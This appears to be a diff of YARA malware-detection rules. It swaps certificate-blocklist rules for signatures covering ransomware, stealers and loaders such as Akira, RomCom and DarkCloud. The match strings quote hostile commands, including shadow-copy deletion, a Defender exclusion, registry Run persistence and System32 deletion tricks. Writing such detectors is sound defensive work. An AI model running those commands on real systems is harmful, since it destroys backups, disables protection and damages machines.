+		$x3 = "/NovaGroup" ascii
+		$x4 = "novagroup@onionmail.org" ascii nocase
+		$x5 = "# Nova Group" ascii
+		$f1 = "main.HaveRun" ascii
+		$f2 = "main.FindFile" ascii
+		$f3 = "main.deriveKey" ascii
+		$f4 = "main.Pwd" fullword ascii
+		$f5 = "/ClearBashFile" ascii
+		$f6 = "/ClearUserTempFiles" ascii
+		$f7 = "/KillProccess" ascii
+		$f8 = "/Encryptor" ascii
+		$f9 = "/NoDirEncrypt" ascii
+		$f10 = "/RunCmdEexecutable" ascii
+		$f11 = "/StopImportantServices" ascii
+		$f12 = "/GetPwd" ascii
+		$s1 = "\\$Recycle.Bin"
+		$s2 = ".README.txt"
+		$s3 = "\\BRSPATH.exe"
+		$s4 = "taskkill /F /IM sql*"
+		$s5 = "C:\\inetpub\\logs\\"
+		$s6 = "shutdown /r"
+		$s7 = ":\\Program Files\\VMware\\"
+		$s8 = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Message /t REG_SZ /d"
+		$s9 = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v DelLogSoft /t REG_SZ /d"
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HORUM" and pe.signatures[i].serial=="fb:e6:75:8a:e7:85:d7:c6:78:a4:ad:8d:e5:c3:f7:e6")
+		uint16(0)==0x5a4d and (2 of ($x*) or 7 of ($f*) or (1 of ($x*) and (5 of ($f*) or 5 of ($s*))) or (6 of ($f*) and 4 of ($s*)) or 12 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00A73B6D821F84Db4451D6Eedd62C42848 : FILE
+rule DITEKSHEN_MALWARE_Win_Modiloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ModiLoader"
 		author = "ditekSHen"
-		id = "c7533bc5-7d83-550e-a36c-eb459f2be842"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2b3fd8ec-b672-574b-9b50-1a9ca9f43299"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6255-L6266"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10199-L10236"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "448527bcbe2851bffefabe06a58e3ca68c092a2080041c51acacad3d5119aa0c"
+		logic_hash = "fc006377e6d41515503b0b234ff87f59d930a7d9f8b32d2e072de79b9c52ddc4"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "eca61ad880741629967004bfc40bf8df6c9f0794"
-		importance = 20
+
+	strings:
+		$x1 = "*()%@5YT!@#G__T@#$%^&*()__#@$#57$#!@" fullword wide
+		$x2 = "dntdll" fullword wide
+		$x3 = "USERPROFILE" fullword wide
+		$s1 = "%s, ProgID: \"%s\"" ascii
+		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
+		$s3 = "responsetext" ascii
+		$s4 = "C:\\Users\\Public\\" ascii
+		$s5 = "[InternetShortcut]" fullword ascii
+		$c1 = "start /min powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath 'C:\\Users'\" & exit" ascii nocase
+		$c2 = "mkdir \"\\\\?\\C:\\Windows \"" ascii nocase
+		$c3 = "mkdir \"\\\\?\\C:\\Windows \\System32\"" ascii nocase
+		$c4 = "ECHO F|xcopy \"" ascii nocase
+		$c5 = "\"C:\\Windows \\System32\" /K /D /H /Y" ascii nocase
+		$c6 = "ping 127.0.0.1 -n 6 > nul" ascii nocase
+		$c7 = "del /q \"C:\\Windows \\System32\\*\"" ascii nocase
+		$c8 = "rmdir \"C:\\Windows \\System32\"" ascii nocase
+		$c9 = "rmdir \"C:\\Windows \"" ascii nocase
+		$g1 = "powershell" ascii nocase
+		$g2 = "mkdir \"\\\\?\\C:\\" ascii nocase
+		$g3 = "\" /K /D /H /Y" ascii nocase
+		$g4 = "ping 127.0.0.1 -n" ascii nocase
+		$g5 = "del /q \"" ascii nocase
+		$g6 = "rmdir \"" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Mht Holding Vinderup ApS" and pe.signatures[i].serial=="00:a7:3b:6d:82:1f:84:db:44:51:d6:ee:dd:62:c4:28:48")
+		uint16(0)==0x5a4d and ((2 of ($x*) and ( all of ($g*) or (2 of ($s*) and 2 of ($c*)))) or ( all of ($s*) and (2 of ($c*) or all of ($g*))) or (4 of ($c*) and (1 of ($x*) or 2 of ($s*))) or ( all of ($g*) and 4 of ($c*)) or 13 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_500D76B1B4Bfaf4A131F027668Fea2D3 : FILE
+rule DITEKSHEN_MALWARE_Win_Akira : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Akira Ransomware Windows"
 		author = "ditekSHen"
-		id = "670138fc-7f2f-5145-8488-196912292ef7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "350ecf81-7926-5cd2-b0c8-2dd748775e74"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6268-L6279"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10238-L10261"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a4f626e5ae9d273723814b0d944b067e70714e10776600a1bd0f90af31c1146a"
+		logic_hash = "73dd0a1b21be8ff7362536f6b6255cd19510632782effd67a56d7656bebf04ff"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "fa491e71d98c7e598e32628a6272a005df86b196"
-		importance = 20
+
+	strings:
+		$x1 = "https://akira" ascii
+		$x2 = ":\\akira\\" ascii
+		$x3 = ".akira" ascii
+		$x4 = "akira_readme.txt" ascii
+		$x5 = "\\akira\\asio\\include\\asio\\impl\\co_spawn.hpp" ascii
+		$s1 = "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject" ascii
+		$s2 = "Win32_ProcessStartup" fullword wide
+		$s3 = /Failed\sto\smake\s(part|full|spot)\sencrypt/ ascii wide
+		$s4 = "--encryption_" ascii
+		$s5 = "--share_file" ascii
+		$s6 = { 24 00 52 00 45 00 43 00 59 00 43 00 4C 00 45 00 2E 00 42 00 49 00 4E 00 00 00 00 00 6? 6? 6? 00 (24|57) 00 (52|69) 00 }
+		$s7 = " PUBLIC KEY-----" ascii
+		$s8 = ".onion" ascii
+		$s9 = "/Esxi_Build_Esxi6/./" ascii nocase
+		$s10 = "No path to encrypt" ascii
+		$s11 = "-fork" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FviSBJQX" and pe.signatures[i].serial=="50:0d:76:b1:b4:bf:af:4a:13:1f:02:76:68:fe:a2:d3")
+		uint16(0)==0x5a4d and (3 of ($x*) or (1 of ($x*) and 4 of ($s*)) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_54Cd7Ae1C27F1421136Ed25088F4979A : FILE
+rule DITEKSHEN_MALWARE_Linux_Akira : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Akira Ransomware Linux"
 		author = "ditekSHen"
-		id = "2f7a0a34-6650-59d1-acf9-5ded0317ee6f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3ac144b3-c747-58e5-bc75-b3f90786f404"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6281-L6292"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10263-L10282"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2b94ccd7f85a2b21edaf4b28f14827b399cdb82307c20320f77eb775c05751f1"
+		logic_hash = "3a00154e1cfc442718e753641d3706ffd4dd8465525d0bb2854f74dfb1cf5dd0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "acde047c3d7b22f87d0e6d07fe0a3b734ad5f8ac"
-		importance = 20
+
+	strings:
+		$x1 = "https://akira" ascii
+		$x2 = ":\\akira\\" ascii
+		$x3 = ".akira" ascii
+		$x4 = "akira_readme.txt" ascii
+		$s1 = "--encryption_" ascii
+		$s2 = "--share_file" ascii
+		$s3 = { 00 24 52 65 63 79 63 6c 65 2e 42 69 6e 00 24 52 45 43 59 43 4c 45 2e 42 49 4e 00 }
+		$s4 = " PUBLIC KEY-----" ascii
+		$s5 = ".onion" ascii
+		$s6 = "/Esxi_Build_Esxi6/./" ascii nocase
+		$s7 = "No path to encrypt" ascii
+		$s8 = "-fork" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ABBYMAJUTA LTD LIMITED" and pe.signatures[i].serial=="54:cd:7a:e1:c2:7f:14:21:13:6e:d2:50:88:f4:97:9a")
+		uint16(0)==0x457f and (3 of ($x*) or (1 of ($x*) and 4 of ($s*)) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_65Efa92A4164A3A2D888B5Cf8Ff073C8 : FILE
+rule DITEKSHEN_MALWARE_Win_Romcom_Loader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "07392a87-7d81-58c1-8dd6-2a9cbc8caa6b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Hunt for RomCom loader"
+		author = "ditekShen"
+		id = "49a5398a-e28d-51e2-90d5-479d815f9967"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6294-L6305"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10309-L10325"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "189f154d5b71bea9c06cd2c79d2460a1fb8cc9e0670a9ef8545e3abad80c8a06"
+		logic_hash = "7aef88aa9f201c3a1852d63b17c14e44c7c2a7dfe94a9bc77897a4aa0eb97486"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "928246cd6a0ee66095a43ae06a696b4c63c6ac24"
-		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ghisler Software GmbH" and pe.signatures[i].serial=="65:ef:a9:2a:41:64:a3:a2:d8:88:b5:cf:8f:f0:73:c8")
+		uint16(0)==0x5a4d and pe.is_dll() and (pe.exports("DllCanUnloadNow") and pe.exports("DllGetClassObject") and pe.exports("DllRegisterServer") and pe.exports("DllUnregisterServer") and pe.exports("GetProxyDllInfo")) and for any fn in pe.export_details : (fn.forward_name contains "Dll")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ad0A958Cdf188Bed43154A54Bf23Afba : FILE
+rule DITEKSHEN_MALWARE_Win_Romcom_Worker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "0b42f6fd-732c-5802-b616-774a1da9e3aa"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Hunt for RomCom worker"
+		author = "ditekShen"
+		id = "ce545a33-731c-5ecd-b02e-cedf24f75cc7"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6307-L6321"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10327-L10340"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6031cb276cbb419789a3f3e57654dd9569feb612b0aebc2b72ae8b644f07bca9"
+		logic_hash = "488db046458585882a4709438042b57e02d7dbc06483fdfdfc463a64ee8db203"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "7d851e785ad44eb15d5cdf9c33e10fe8f49616e8"
-		importance = 20
+
+	strings:
+		$s1 = "UpdateProcThreadAttribute" fullword ascii
+		$s2 = "WriteFile" fullword ascii
+		$s3 = "GetAdaptersAddresses" fullword ascii nocase
+		$s4 = /inflate\s\d+\.\d+\.\d+\sCopyright/ ascii
+		$s5 = "SetHandleInformation" fullword ascii
+		$s6 = "PeekNamedPipe" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RHM Ltd" and (pe.signatures[i].serial=="ad:0a:95:8c:df:18:8b:ed:43:15:4a:54:bf:23:af:ba" or pe.signatures[i].serial=="00:ad:0a:95:8c:df:18:8b:ed:43:15:4a:54:bf:23:af:ba"))
+		uint16(0)==0x5a4d and pe.is_dll() and pe.number_of_exports==1 and pe.exports("Main") and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_05Abac07F8D0Ce567F7D75Ee047Efee2 : FILE
+rule DITEKSHEN_MALWARE_Win_Romcom_Dropper : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "17355de3-08a9-585d-bc4f-fd16ff59e2a2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Hunt for RomCom worker"
+		author = "ditekShen"
+		id = "1b77122d-95d7-535d-897e-b542da17f499"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6323-L6334"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10342-L10353"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0196ebd0b5821863c99676907a972e214f46411650fe20557e9f919609d12659"
+		logic_hash = "89f62f71e5870c1e5d14bc32dd3508da620f5fa85494251c69682eb09d630029"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "68b32eac87652af4172e40e3764477437e5a5ce9"
-		importance = 20
+
+	strings:
+		$s1 = "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes" wide nocase
+		$s2 = "\\REGISTRY\\USER" wide nocase
+		$s3 = "BINARY" fullword wide
+		$s4 = "POST" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ultrareach Internet Corp." and pe.signatures[i].serial=="05:ab:ac:07:f8:d0:ce:56:7f:7d:75:ee:04:7e:fe:e2")
+		uint16(0)==0x5a4d and pe.is_dll() and pe.number_of_exports==1 and pe.exports("Main") and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_62165B335C13A1A847Ce9Acff2B29368 : FILE
+rule DITEKSHEN_MALWARE_Win_STEALDEAL : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "62cd9a29-023d-5ff4-89cf-a2e74ec66ac4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Hunt for STEALDEAL stealer"
+		author = "ditekShen"
+		id = "4685fea3-4050-5395-af2b-cb0ba4104b47"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6336-L6347"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10355-L10366"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "19e189c49f435f8b2aca0944d0f648a4126f83b7498982a262230e2f69ada8b7"
+		logic_hash = "366c33b06ed9403b2b840d98e25287333eb52f2588f747981b3c0c3baf4fd27a"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "c4cfd244d5148c5b03cac093d49af723252b643c"
-		importance = 20
+
+	strings:
+		$x1 = "stealDll.dll" fullword ascii
+		$s1 = "SqlExec" fullword ascii
+		$s2 = "etilqs_" fullword ascii
+		$s3 = "SUBQUERY %u" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "t55555Prh" and pe.signatures[i].serial=="62:16:5b:33:5c:13:a1:a8:47:ce:9a:cf:f2:b2:93:68")
+		uint16(0)==0x5a4d and pe.is_dll() and pe.exports("stub") and (1 of ($x*) or all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4Cdffb4F02C55Ae60A099652605Da274 : FILE
+rule DITEKSHEN_MALWARE_Win_Darkcloud : FILE
 {
 	meta:
-		description = "Enigma Protector Demo Certificate"
+		description = "Detects DarkCloud infostealer"
 		author = "ditekSHen"
-		id = "843929be-68e5-56b0-99fc-f5d71b91c3cf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e29e1dc7-87b8-5d6b-b73b-460dc2530875"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6366-L6377"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10368-L10389"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1b655f42302bed2091aaa5d37156c68eaf812f0c287bf42b24942a8b845b7476"
+		logic_hash = "7826cc4185d6edb760d062019e0fa30f800c34e5fb4b0eedcfb17081e6c7643d"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE"
-		thumbprint = "4a2d33148aadf947775a15f50535842633cc3442"
-		importance = 20
+
+	strings:
+		$x1 = "=DARKCLOUD=" wide
+		$x2 = "#DARKCLOUD#" wide
+		$x3 = "DARKCLOUD" wide
+		$s1 = "DC-Creds" fullword wide
+		$s2 = "shell.application" fullword wide
+		$s3 = "VBSQLite3.dll" ascii wide nocase
+		$s4 = "getbinaryvalue" fullword wide
+		$s5 = "sqlite_exec" fullword ascii
+		$i1 = "RegWrite" fullword wide
+		$i2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$i3 = "\\Templates\\Stub\\Project" wide
+		$i4 = "\\Credentials" wide
+		$i5 = "SELECT " wide
+		$i6 = "\\163MailContacts.txt" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DEMO" and pe.signatures[i].serial=="4c:df:fb:4f:02:c5:5a:e6:0a:09:96:52:60:5d:a2:74")
+		uint16(0)==0x5a4d and ((1 of ($x*) and (3 of ($s*) or 3 of ($i*))) or ( all of ($s*) and 1 of ($i*)) or (4 of ($s*) and 4 of ($i*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_25Ad5Ae68C38Ad1021086F4Ffc8Ba470 : FILE
+rule DITEKSHEN_MALWARE_Win_Arcrypt : FILE
 {
 	meta:
-		description = "Enigma Protector CA Certificate"
+		description = "Detects ARCrypt / ChileLocker ransomware"
 		author = "ditekSHen"
-		id = "6f1c6d3a-72a1-5c70-9c7d-1616b13767cd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a53bbae6-a321-549d-9d45-e1a408d08740"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6379-L6390"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10391-L10417"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "80b67b804e47fba825fabfee39f9a0aae78a4465b088c28b6f6972acd614bb89"
+		logic_hash = "cc9fa68d093fdf9745a06beb28e29108cb2ba846122ce097ad892213b1edba25"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a04c0281bc2203a95ef9bd6d9736486449d80905"
-		importance = 20
+
+	strings:
+		$c1 = "readme_for_unlock.txt" wide
+		$c2 = "vssadmin.exe delete shadows /all /quiet" wide
+		$c3 = "START /b \"\" cmd /c wmic /node:" wide
+		$c4 = "START /b \"\" cmd /c DEL \"" wide
+		$c5 = "process call create cmd /c START" wide
+		$c6 = "net config server /autodisconnect:" wide
+		$c7 = "/NOBREAK>NUL) ELSE (START /b \"\" cmd /c DEL \"%~f" ascii
+		$c8 = ":\\_ARC\\_WorkSolution\\cryptopp" ascii
+		$e1 = /\.crYpt([A-F]{0,1}(\d+)?)?/ fullword wide
+		$e2 = ".dnt___.crYpt" wide nocase
+		$s1 = "create_directory" fullword ascii
+		$s2 = "create_directories" fullword ascii
+		$s3 = "NoClose" fullword ascii
+		$s4 = "StartMenuLogOff" fullword ascii
+		$s5 = "NoLogOff" fullword ascii
+		$s6 = "DisableTaskMgr" fullword ascii
+		$s7 = "DisableChangePassword" fullword ascii
+		$s8 = "HideFastUserSwitching" fullword ascii
+		$s9 = "RemotePath" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Enigma Protector CA" and pe.signatures[i].serial=="25:ad:5a:e6:8c:38:ad:10:21:08:6f:4f:fc:8b:a4:70")
+		uint16(0)==0x5a4d and (5 of ($c*) or 7 of ($s*) or (3 of ($c*) and 4 of ($s*)) or (1 of ($e*) and (1 of ($c*) and 1 of ($s*))) or ( all of ($e*) and (1 of ($c*) or 1 of ($s*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_277Cd16De5D61B9398B645Afe41C09C7 : FILE
+rule DITEKSHEN_MALWARE_Win_Rootteamstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects RootTeam infostealer"
 		author = "ditekSHen"
-		id = "d5ada3bf-322a-5794-aff7-75ff8dd9a7d1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3b57ff3e-09cf-52be-ac7f-45ee832d70ab"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6392-L6403"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10419-L10435"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dccfd52a3bcc11897d05f5450600dbd2f1f699732341cebed6dda37a76fd5f2d"
+		logic_hash = "d1693865253067527d58c980653d550b55d022d5a394b88090a958e5d5818143"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "11a18b9ba48e2b715202def00c2005a394786b23"
-		importance = 20
+
+	strings:
+		$x1 = "RootTeamStl" ascii
+		$x2 = "Bot: https://t.me/rootteam_bot" ascii
+		$x3 = "rootteam_bot" ascii
+		$x4 = "Root Team" ascii
+		$s1 = "-ldflags=\"-s -w -H windowsgui -X" ascii
+		$s2 = "'RootTeamStl/vars." ascii
+		$s3 = "{ Hostname string \"json:\\\"hostname\\\"\"; EncryptedUsername string \"json:\\\"encryptedUsername\\\"\"; EncryptedPassword string \"json:\\\"encryptedPassword\\\"\" }" ascii
+		$s4 = "\\Program Files (x86)\\Steam\\config\\loginusers.vdf" ascii
+		$s5 = /RootTeamStl\/managers\/(browser|coldwallets|discord|filegrabber|steam|userinformation)?/ ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THE SIGN COMPANY LIMITED" and pe.signatures[i].serial=="27:7c:d1:6d:e5:d6:1b:93:98:b6:45:af:e4:1c:09:c7")
+		uint16(0)==0x5a4d and (3 of ($x*) or (1 of ($x*) and 3 of ($s*)) or 4 of ($s*) or 5 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_066276Af2F2C7E246D3B1Cab1B4Aa42E : FILE
+rule DITEKSHEN_MALWARE_Win_Espioloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Espio loader and obfuscator"
 		author = "ditekSHen"
-		id = "32b8e28b-361f-53e5-b06c-504dd9e86ae9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "fb2be984-abd6-5f71-b448-d41c9c3e35c5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6405-L6416"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10456-L10469"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2a554105ae99de388621adefb2f53d2d0873ac3175ca2ccf00fc6a498ea2fd29"
+		logic_hash = "8ad77a50db48f12e6f6465652b24fc1daa56375bb27e37e0eead1bea55b89e0c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "dee5ca4be94a8737c85bbee27bd9d81b235fb700"
-		importance = 20
+		clamav_sig = "MALWARE.Win.EspioLoader"
+
+	strings:
+		$pdb = /\\loader\\x64\\(Release|Debug)\\Espio\.pdb/ ascii
+		$s1 = "obfuscatedPayload" fullword wide
+		$s2 = "OBFUSCATEDPAYLOAD" fullword wide
+		$s3 = "\\??\\C:\\Windows\\System32\\werfault.exe" fullword wide
+		$s4 = "C:\\windows\\system32\\ntdll.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "IQ Trade ApS" and pe.signatures[i].serial=="06:62:76:af:2f:2c:7e:24:6d:3b:1c:ab:1b:4a:a4:2e")
+		uint16(0)==0x5a4d and ($pdb or 3 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_289051A83F350A2C600187C99B6C0A73 : FILE
+rule DITEKSHEN_MALWARE_Win_Celestybinderloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Celesty Binder loader"
 		author = "ditekSHen"
-		id = "f84a7749-a487-52e5-813b-e376ccde13d1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9c3404b7-311c-565d-b0fa-cfa80ba97289"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6418-L6429"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10471-L10484"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f094e923dc53cc1edc6ac83cf69fb60fd3c564606a5bfb68facb482918399799"
+		logic_hash = "8c9ffd48c9c8cd345dccfb48bcb345282f9978f7cf906a61e2ea81c48486b16d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4e075adea8c1bcb9d10904203ab81965f4912ff0"
-		importance = 20
+
+	strings:
+		$s1 = "\\DarkCoderSc\\Desktop\\Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
+		$s2 = "DROPIN" fullword ascii wide
+		$s3 = "EXEC" fullword ascii wide
+		$s4 = "RBIND" fullword ascii wide
+		$s5 = "%LAPPDATA%" fullword ascii wide
